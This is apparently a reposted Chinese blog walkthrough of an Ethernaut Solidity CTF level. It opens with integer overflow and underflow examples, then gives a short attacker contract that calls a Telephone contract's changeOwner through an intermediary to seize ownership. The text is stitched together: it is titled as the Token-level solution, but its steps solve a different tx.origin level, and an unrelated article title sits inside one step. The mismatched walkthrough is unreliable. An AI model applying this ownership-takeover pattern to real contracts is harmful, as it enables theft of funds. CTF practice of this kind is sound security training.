Ethernaut Level 5代幣演練:如何防止濫用算術下溢和溢位

買賣虛擬貨幣
整數溢位和下溢與C和C ++一樣,Solidity是一種比較低階別的編碼語言,沒有處理儲存限制的功能。這可能與Ruby和Python開發人員習慣的非常不同。以太坊的智慧合約儲存分別為256位或32位元組。 Solidity支援有符號整數和無符號整數uint,最高可達256位。這意味著當您的數字超過在分配的儲存位之下或之上時,您的算術運算容易出現下溢和溢位錯誤。注意:最大可能的uint256等於115792089237316195423570985008687907853269984665640564039457584007913129639935contract Unsigned {
    uint8 public min = 0;    uint8 public max = 255;    // Underflowing & overflowing doesn't throw an error    uint8 public less_than_min = min - 1; // returns 255    uint8 public more_than_max = max + 1; // returns 0}
contract Signed {    int8 public min = -128;    int8 public max = 127;    int8 public less_than_min = min - 1; // returns 127    int8 public more_than_max = max +1;  // returns -128}

以下是上面程式碼段的視覺化:

這會使得處理算術運算子的合約易受攻擊。通常我們從safemath.sol庫繼承數學運算子。

細節演練

1. 注意Telephone.sol的changeOwner函式檢查是否(tx.origin!= msg.sender)。似乎我們可以透過方案3成功觸發此功能:區塊鏈研究實驗室| 如何防止濫用智慧合約中的偽隨機性
2. 建立一個電話合約,Telephony構成合同A.在Telephony中例項化合約B,您的Telephone.sol:

contract Telephony {
Telephone public phone = Telephone(YOUR_INSTANCE_ADDR_HERE);
    //TODO...
}

3、在Telephony中建立一個changeOwner函式,該函式呼叫Telephone中的changeOwner函式,即玩電話遊戲。

function changeOwner(address _owner) public {
    phone.changeOwner(_owner);
}

4、注意await contract.owner()在控制檯中現在指示您的使用者錢包是所有者!

注意要點

· 使用SafeMath.sol處理簡單的數學運算

免責聲明:

  1. 本文版權歸原作者所有,僅代表作者本人觀點,不代表鏈報觀點或立場。
  2. 如發現文章、圖片等侵權行爲,侵權責任將由作者本人承擔。
  3. 鏈報僅提供相關項目信息,不構成任何投資建議

推荐阅读

;